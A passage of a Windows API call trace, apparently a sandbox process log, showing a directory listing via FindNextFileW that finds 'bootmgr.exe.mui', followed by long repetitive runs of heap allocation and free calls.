hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.102] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.102] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.102] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.102] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.102] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.102] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.103] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.103] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.104] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.104] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.105] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.105] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.106] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.106] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.107] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.107] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.108] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.108] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.109] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.109] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.109] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.109] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.109] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: 